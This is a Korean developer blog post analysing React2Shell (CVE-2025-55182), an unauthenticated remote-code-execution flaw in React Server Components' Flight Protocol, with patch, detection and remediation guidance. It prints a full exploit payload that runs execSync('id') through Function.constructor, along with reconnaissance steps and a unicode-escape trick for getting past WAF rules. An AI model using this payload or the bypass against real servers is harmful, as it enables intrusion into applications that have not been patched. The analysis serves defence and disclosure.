2025 . 오은

repo

React2Shell 사건 정리

2025.12.14

React2Shell (CVE-2025-55182) 뜯어보기

직접 공격을 당해보니 위험성을 더 잘 느낄 수 있었습니다. 이번 취약점 레벨은 CVSS 10.0 로 인증 없이 원격 코드 실행(RCE)이 가능했습니다. (server-action 을 안썼다면 그나마 안전했을까요?)

영향 범위는 React 19.x, Next.js 15.x~16.x 및 RSC 기반 프레임워크 입니다. (와 14는 안전하다! 했으나... 후속 취약점 발견으로 그냥 다 업데이트 해야 했습니다)


1. 근본 원인?

1.1 왜 이런일이..

React Server Components의 Flight Protocol 역직렬화 과정에서 두 가지 결함이 결합되어 발생했습니다.

  1. Prototype Pollution 미방어: hasOwnProperty 검증 없이 객체 속성에 접근
  2. Raw Chunk Reference: Promise 객체 자체에 대한 참조를 허용

1.2 기술적 배경

Flight Protocol이란?

RSC는 서버에서 컴포넌트를 렌더링하고 그 결과를 클라이언트에 전달합니다. 이때 JSON으로는 표현할 수 없는 복잡한 타입(Promise, Blob, Map 등)을 처리하기 위해 독자적인 직렬화 포맷인 Flight Protocol을 사용합니다.

// Flight Protocol 표현식 예시
$@0  → Chunk 0에 대한 Promise 참조
$B0  → Blob 참조
$F0  → Server Function 참조

Prototype Pollution이란?

자바스크립트의 기본, 자바스크립트에서 객체는 prototype chain을 통해 부모 객체의 속성을 상속받습니다. 때문에 이를 악용하면 __proto__를 통해 모든 객체에 영향을 미치는 속성을 주입할 수 있습니다. hasOwnProperty 만 있었어도..

let obj1 = {};
console.log(obj1.foo); // undefined

Object.prototype.foo = "polluted";

let obj2 = {};
console.log(obj2.foo); // "polluted" (오염됨!)
console.log(obj2.hasOwnProperty("foo")); // false (자신의 속성이 아님)

1.3 취약점 발생 단계

Step 1: 취약한 코드의 위치

ReactFlightReplyServer.js의 getOutlinedModel() 함수:

function getOutlinedModel(response, reference, parentObject, key, map) {
  const path = reference.split(':');
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  
  // ...상태 확인 로직...
  
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        value = value[path[i]];  // ⚠️ hasOwnProperty 검증 없음!
      }
      return map(response, value);
  }
}

path 배열의 각 요소로 value 객체를 순회할 때 hasOwnProperty 검증이 없어 __proto__ 접근이 가능합니다ㅜㅜ

Step 2: Primitive 획득 과정

Primitive #1 - Chunk.prototype 접근

// 공격자 입력
reference = "$1:__proto__:then"

// 해석 과정
1번 Chunk의 __proto__ (= Chunk.prototype)의 then 메서드 참조

$@0 같은 표현은 Promise 객체 자체를 반환하므로, 이를 통해 Chunk.prototype에 접근할 수 있습니다.

Primitive #2 - initializeModelChunk 호출 제어

Chunk.prototype.then은 내부적으로 initializeModelChunk()를 호출합니다:

Chunk.prototype.then = function(resolve, reject) {
  const chunk = this;
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);  // ← 공격자가 제어 가능!
      break;
  }
  // ...
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);  // ← 여기서 악성 함수 실행
      break;
  }
};

Primitive #3 - 임의 함수 생성 및 실행

parseModelString()의 Blob 처리 로직을 악용:

case 'B': {
  const id = parseInt(value.slice(2), 16);
  const blobKey = response._prefix + id;
  const backingEntry = response._formData.get(blobKey);  // ← 공격자 제어
  return backingEntry;
}

response._formData.get을 Function.constructor로 설정하면 임의 함수 생성이 가능합니다.

Step 3: 최종 공격 페이로드

{
  "then": "$1:__proto__:then",        // Chunk.prototype.then 참조
  "status": "resolved_model",
  "value": "{\"then\": \"$B1\"}",     // Blob을 통한 함수 생성
  "_response": {
    "_formData": {
      "get": "$1:constructor:constructor"  // Function.constructor
    },
    "_prefix": "process.mainModule.require('child_process').execSync('id');//"
  }
}

Step 4: 실행 흐름

1. then이 Chunk.prototype.then으로 설정됨
2. 객체가 resolve될 때 then() 호출
3. this.status가 "resolved_model"이므로 initializeModelChunk() 호출
4. value 파싱 과정에서 $B1이 Function.constructor로 처리됨
5. _prefix에 담긴 악성 JavaScript 코드가 서버에서 실행됨!

1.4 패치 내용

커밋 7dc903c에서 hasOwnProperty 검증이 추가됨

// 패치 후
for (let i = 1; i < path.length; i++) {
  if (!value.hasOwnProperty(path[i])) {
    // __proto__ 등 prototype chain 접근 차단
    throw new Error('Invalid property access');
  }
  value = value[path[i]];
}

2. 실무자가 확인할 수 있는 RSC 노출 정보

악성 사용자가 정찰 단계에서 수집할 수 있는 정보는 다음과 같았습니다.

2.1 HTML에 노출되는 Server Action ID

브라우저 개발자 도구에서 페이지 소스를 확인하면 Server Action의 ID가 노출됩니다:

<!-- 페이지 소스 예시 -->
<script>
  self.__next_f.push([1, "1:\"$ACTION_ID_abc123def456\"\n"])
</script>

<!-- 또는 form의 hidden input으로 -->
<form action="">
  <input type="hidden" name="$ACTION_REF_ID" value="abc123def456" />
</form>

확인 방법:

  1. 개발자 도구 → Network 탭
  2. RSC 요청 확인(?_rsc= 파라미터가 붙은 요청) < 이라고 하지만 그냥 Doc 탭의 요청 내역에서 Response 보면 됨
  3. Response에서 $ACTION_ID 또는 $F 패턴 검색

2.2 Next-Action 헤더

Server Action 호출 시 Next-Action 헤더가 전송됩니다:

POST /api/action HTTP/1.1
Host: example.com
Content-Type: multipart/form-data
Next-Action: abc123def456789

확인 방법:

// 브라우저 콘솔에서 실행
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    if (entry.name.includes('_rsc')) {
      console.log('RSC Request:', entry.name);
    }
  }
});
observer.observe({ entryTypes: ['resource'] });

2.3 Flight Protocol 페이로드 구조

Network 탭에서 RSC 응답을 확인하면 Flight Protocol 형식을 볼 수 있습니다:

0:["$","div",null,{"children":"Hello"}]
1:["$","$L2",null,{}]
2:I["@/components/Button","default"]

주요 패턴:

  • $L : Lazy 컴포넌트 참조
  • $F : Server Function 참조
  • $@ : Promise/Chunk 참조
  • I[...] : Import 구문

2.4 RSC 엔드포인트 식별

# RSC 엔드포인트 패턴
GET /?_rsc=xxxxx HTTP/1.1
POST / HTTP/1.1  (with Next-Action header)

# curl로 확인
curl -I "https://target.com/?_rsc=test" \
  -H "RSC: 1" \
  -H "Next-Router-State-Tree: ..."

2.5 버전 정보 노출

브라우저 콘솔에서 Next.js 버전 확인:

// 브라우저 콘솔
next.version  // 예: "15.3.4"

또는 /_next/static/chunks/ 경로의 파일명에서 버전 힌트를 얻을 수 있습니다.

2.6 자체 점검 해보기

□ package.json에서 next, react-server-dom-* 버전 확인
□ 빌드 결과물에서 Server Action ID 노출 여부 확인
□ Network 탭에서 Flight Protocol 요청/응답 모니터링
□ 에러 메시지에서 내부 경로 노출 여부 확인
□ Source Map 비활성화 여부 확인 (프로덕션)

3. 대처 방안

3.1 즉각적인 패치

패치 적용이 유일한 해결책이었습니다...!!

자동 업그레이드 도구가 있긴합니다

npx fix-react2shell-next

3.2 WAF로 방어할 수 없는 이유

WAF(Web Application Firewall) 규칙은 완전한 방어가 불가능합니다:

// Flight Protocol은 JSON.parse를 사용하므로 유니코드 우회 가능
{
  "\u0074\u0068\u0065\u006e": "\u0024\u0031\u003a..."
}
// 위 코드는 "then": "$1:..."과 동일

Vercel은 WAF 규칙을 배포했지만, 이는 추가적인 방어층일 뿐 패치를 대체하지 못합니다.

3.4 침해 여부 점검

12월 4일 이전에 취약한 버전으로 운영했다면 침해를 가정하고 대응하는 편이 좋았습니다

점검 항목:
□ 비정상적인 POST 요청 로그 확인 (특히 multipart/form-data)
□ 서버 함수 타임아웃 급증 여부
□ 예기치 않은 프로세스 생성 로그
□ 아웃바운드 네트워크 연결 이상 여부

3.5 시크릿 로테이션

침해 가능성이 있다면 모든 시크릿을 교체해야 합니다:

3.6 영향받지 않는 경우

다음 조건에 해당하면 이 취약점의 영향을 받지 않습니다:

  • React 코드가 서버에서 실행되지 않는 경우 (순수 CSR)
  • React Server Components를 지원하지 않는 번들러/프레임워크 사용
  • Next.js 14.2.x 이하 안정 버전 사용 (14.3.0-canary.77 미만) < 후속 취약점으로 인해 모두 영향받음

참고 자료

  • React 공식 보안 공지
  • Vercel Security Bulletin
  • ENKI 한국어 분석
  • Next.js CVE-2025-66478
  • React 패치 커밋
  • CVE-2025-55182 상세